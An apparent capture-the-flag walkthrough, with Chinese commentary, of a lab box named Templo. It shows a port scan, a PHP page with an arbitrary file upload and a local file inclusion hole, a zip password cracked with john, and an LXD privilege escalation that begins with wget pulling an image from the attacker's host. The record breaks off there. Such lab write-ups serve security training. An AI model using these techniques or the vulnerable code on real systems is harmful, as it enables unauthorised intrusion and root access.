┌──(root㉿Eecho)-[/tmp/aaaa] └─# rustscan -a 192.168.100.67 .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- I don't always scan ports, but when I do, I prefer RustScan.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.100.67:22 Open 192.168.100.67:80 [~] Starting Script(s) [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-29 23:58 +0800 Initiating ARP Ping Scan at 23:58 Scanning 192.168.100.67 [1 port] Completed ARP Ping Scan at 23:58, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 23:58 Completed Parallel DNS resolution of 1 host. at 23:58, 2.50s elapsed DNS resolution of 1 IPs took 2.50s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 3, CN: 0] Initiating SYN Stealth Scan at 23:58 Scanning 192.168.100.67 [2 ports] Discovered open port 80/tcp on 192.168.100.67 Discovered open port 22/tcp on 192.168.100.67 Completed SYN Stealth Scan at 23:58, 0.02s elapsed (2 total ports) Nmap scan report for 192.168.100.67 Host is up, received arp-response (0.00059s latency). Scanned at 2026-04-29 23:58:49 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:BD:A2:96 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 2.66 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
<?php // Manejo de subida de archivos if ($_SERVER['REQUEST_METHOD'] === 'POST') { $target_dir = "uploads/";
// Obtiene el nombre original del archivo y su extensión $original_name = basename($_FILES["fileToUpload"]["name"]); $file_extension = pathinfo($original_name, PATHINFO_EXTENSION);
// Crea la ruta completa para el nuevo archivo $target_file = $target_dir . $new_name;
// Mueve el archivo subido al directorio objetivo con el nuevo nombre if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { // Mensaje genérico sin mostrar el nombre del archivo $message = "El archivo ha sido subido exitosamente."; $message_type = "success"; } else { $message = "Hubo un error subiendo tu archivo."; $message_type = "error"; } }
if (isset($_GET['page'])) { $file = $_GET['page']; include($file); } ?>
<!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <title>Subida de Archivos y LFI</title> <style> body { font-family: Arial, sans-serif; margin: 0; padding: 0; display: flex; flex-direction: column; align-items: center; justify-content: center; min-height: 100vh; background: url('up.jpg') no-repeat center center fixed; background-size: cover; }
┌──(root㉿Eecho)-[/tmp/aaaa] └─# zip2john backup.zip > zip_hash.txt ver 1.0 backup.zip/backup/ is not encrypted, or stored with non-handled compression type ver 1.0 efh 5455 efh 7875 backup.zip/backup/Rodgar.txt PKZIP Encr: 2b chk, TS_chk, cmplen=36, decmplen=24, crc=5C3C7389 ts=8855 cs=8855 type=0 ┌──(root㉿Eecho)-[/tmp/aaaa] └─# ls authorized_keys backup backup.zip zip_hash.txt ┌──(root㉿Eecho)-[/tmp/aaaa] └─# john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 24 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status batman (backup.zip/backup/Rodgar.txt) 1g 0:00:00:00 DONE (2026-04-30 00:37) 50.00g/s 2457Kp/s 2457Kc/s 2457KC/s 123456..trudy Use the "--show" option to display all of the cracked passwords reliably Session completed.
rodgar@TheHackersLabs-Templo:~$ lxc image list If this is your first time running LXD on this machine, you should also run: lxd init To start your first container, try: lxc launch ubuntu:24.04 Or for a virtual machine: lxc launch ubuntu:24.04 --vm
+-------+-------------+--------+-------------+--------------+------+------+-------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE | +-------+-------------+--------+-------------+--------------+------+------+-------------+ rodgar@TheHackersLabs-Templo:~$
既然不存在那就上传一个
下载构建好的镜像
1 2 3
git clone https://github.com/saghul/lxd-alpine-builder.git cd lxd-alpine-builder sudo ./build-alpine
构建成功上传到靶机上
1 2 3 4 5 6 7 8 9 10 11 12
rodgar@TheHackersLabs-Templo:~$ wget http://192.168.100.21/alpine-v3.23-x86_64-20260430_0118.tar.gz --2026-04-29 17:19:39-- http://192.168.100.21/alpine-v3.23-x86_64-20260430_0118.tar.gz Connecting to 192.168.100.21:80... connected. HTTP request sent, awaiting response... 200 OK Length: 4113307 (3,9M) [application/x-gzip] Saving to: ‘alpine-v3.23-x86_64-20260430_0118.tar.gz’
alpine-v3.23-x86_64-20260430_0118.tar.gz 100%[==================================================================================>] 3,92M --.-KB/s in 0,02s